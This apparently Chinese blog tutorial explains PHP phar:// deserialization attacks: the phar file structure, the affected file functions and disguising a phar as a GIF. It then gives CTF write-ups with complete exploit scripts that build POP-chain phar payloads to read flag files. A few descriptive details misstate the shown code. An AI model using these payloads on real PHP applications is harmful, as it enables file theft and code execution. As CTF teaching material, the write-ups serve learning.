参考
原理
phar文件结构
① a stub
可以理解为一个标志,格式为xxx
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
② a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data
,这是上述攻击手法最核心的地方。
③ the file contents
被压缩文件的内容。
④ a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾,格式如下:
通过phar://
伪协议对一个phar文件进行了文件操作的时候,就可以触发反序列化,达到RCE的效果
产生缘由
在phar.c#L618处,其调用了php_var_unserialize
因此可以构造一个特殊的phar包,使得代码能够反序列化,从而构造一个pop链,在使用phar://
协议读取文件的时候,文件会被解析成phar (https://www.php.net/manual/zh/intro.phar.php) 的过程会触发php_var_unserialize
函数对meta-data的操作,造成反序列化。
利用
条件
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
- exif:
exif_thumbnail
,exif_imagetype
- gd:
imageloadfont
,imagecreatefrom***
- hash:
hash_hmac_file
,hash_file
,hash_update_file
,md5_file
,sha1_file
- file/url:
get_meta_tags
,get_headers
- standard:
getimagesize
,getimagesizefromstring
zip:
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
限制phar://
不能出现在头几个字符,亦适用于compress.zlib://
:
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
pgsqlCopyToFile
和pg_trace
同样能使用的,需要开启phar
的写功能。
测试
生成phar文件:
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
notepad打开查看:
明显的序列化存储
构造利用代码
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/a_random_string';
file_exists($filename);
?>
成功打印结果,当然这里换其他的文件操作函数也可以
将phar伪造成其他格式的文件
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
notepad打开查看:
和上面的一样可以利用成功
栗子
[CISCN2019 华北赛区 Day1 Web1]—Dropbox
界面:
先随便注册一个账号登录,随后发现有上传文件和下载,删除文件的功能
测试文件上传,只能上传那三种图片的格式,应该是有白名单,且文件上传后路径不可知,于是抓包测试文件下载和删除功能,其中文件下载处存在文件下载漏洞,于是将整个网站的源码都下载下来,测试后发现,后台在下载界面还是做了权限限制的,不然根目录下的flag
就可以直接下下来了
有以下文件:
login.php
<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>
.........(HTML)
<?php
include "class.php";
if (isset($_GET['register'])) {
echo "<script>toast('注册成功', 'info');</script>";
}
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && $u->verify_user($username, $password)) {
$_SESSION['login'] = true;
$_SESSION['username'] = htmlentities($username);
$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
$_SESSION['sandbox'] = $sandbox;
echo("<script>window.location.href='index.php';</script>");
die();
}
echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>
register.php
.........(HTML)
<?php
include "class.php";
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && strlen($username) > 2 && strlen($password) > 1) {
if ($u->add_user($username, $password)) {
echo("<script>window.location.href='login.php?register';</script>");
die();
} else {
echo "<script>toast('此用户名已被使用', 'warning');</script>";
die();
}
}
echo "<script>toast('请输入有效用户名和密码', 'warning');</script>";
}
?>
upload.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
include "class.php";
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}
if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>
download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
代码核心就在class.php
了
先看到login和register两个文件,用了PDO,注入相当困难,找到到文件下载功能download
,可以看到这样的一句代码:ini_set("open_basedir", getcwd() . ":/etc:/tmp");
ini_set:出为一个配置选项设置值,可以设置php的一些配置,其中就包括open_basedir,用来限制当前程序可以访问的目录。当前设置为getcwd()
当前目录和/etc
和/tmp
三个目录,这就是为什么前面下载不了根目录下的flag
了
再看到delete.php
文件,并没有限制,于是我们寻找可利用条件,重点看到class.php
,在这个文件的File
类中发现了close()
方法中有一个file_get_contents
方法,明显的文件读取,再找到使用了这个函数的方法,不难发现在User
类中的__destruct
方法调用了这个函数,__destruct
方法是当一个对象被销毁的时候才调用,delete.php中就可以触发这方法,但是这也要这些类中的属性我们可控才能调用这些方法,于是这里就引出了phar
伪协议反序列化的操作,详见上面的说明
于是初步构造payload:
<?php
class User {
public $db;
}
class File {
public $filename;
public function __construct()
{
$this->filename='/flag.txt';
}
}
$a = new User();
$a->db = new File();
?>
但是在file_get_contents
后我们并没有回显的函数,于是就需要用到FileList
类中的__destruct
方法来回显,这里就需要再创建一个FileList
类,令其中的files
为new File()
,但是这里就创建了两个类了,无法达到反序列化的效果,那么我们再来看看如何把这三个类给联系起来,可以看到FileList
类中的__call
方法,( 当对象调用一个不存在的方法的时候调用,$func:被调用的方法名,$args : 被调用方法中的参数,这是个数组),再看到上面的User的
的__destruct
方法,如果我们令User
类中的db
属性为FileList
类,调用其中不存在的close
方法,就可以完美触发FileList
类中的__call
方法,再看到__call
方法的实现:
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
array_push:将一个或多个单元压入数组的末尾(入栈)
foreach:遍历数组
看到其中的$file->$func();
,如果$func
为close
,就可以成功调用File
类中的close
方法,于是构造完整payload:
<?php
class User {
public $db;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array(new File());
$this->results = array();
$this->funcs = array();
}
}
class File {
public $filename;
public function __construct()
{
$this->filename='/flag.txt';
}
}
$o = new User();
$o -> db = new FileList();
$phar = new Phar("phar.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置 stub
$phar->setMetadata($o); //将自定义的 meta-data 存入 manifest
$phar->addFromString("poc.php", "poc"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename('phar.phar','phar.jpg');
?>
将生成的phar.jpg
上传,再在delete
操作时抓包改包,如下,即可成功得到flag
,话说为什么是flag.txt
我也不知道,一般不是直接flag
吗?-.-
[SWPUCTF 2018]SimplePHP
直接看关键代码:
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
_show
方法并未过滤phar,题目存在文件上传点和文件包含点,显然想到phar协议的利用
这题主要需要分析的是pop链,分析以上代码可以知道phar的利用点在file_get_contents
函数,而触发file_get_contents
函数需要从__get->get->file_get->file_get_contents
,简单来讲就是要触发Test类中的__get
方法,而__get
方法的触发条件是需要对象读取不可访问属性的值,再看到Show类中的__toString
方法
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
如果令$this->str['str'] = new Test()
那么不就可以触发Test类中的__get
方法了吗
再想到__toString
方法的触发方法,当一个类或对象被当作一个字符串被调用,在C1e4r类中刚好可利用
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
如果令 $this->str = new Show()
即可触发
于是完整pop链如下:
C1e4r::__destruct -> Show::__toSting -> Test::__get
注意,这里__get
方法中的$key
的值为触发该方法时传入的不可访问属性的值,
简而言之就是如果$this->str['str']->abc =====> __get(abc)
,而题目中的是固定好的socure
,
所以只需要params['source'] = "/var/www/html/f1ag.php"
即可
exp如下
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a = new C1e4r();
$b = new Show();
$c = new Test();
$a->str = $b;
$b->str['str'] = $c;
$c->params['source'] = "/var/www/html/f1ag.php";
$phar = new Phar("phar.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置 stub
$phar->setMetadata($a); //将自定义的 meta-data 存入 manifest
$phar->addFromString("poc.php", "poc"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
随后改后缀为jpg再上传,然后找到该文件,利用文件包含读取即可get flag
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues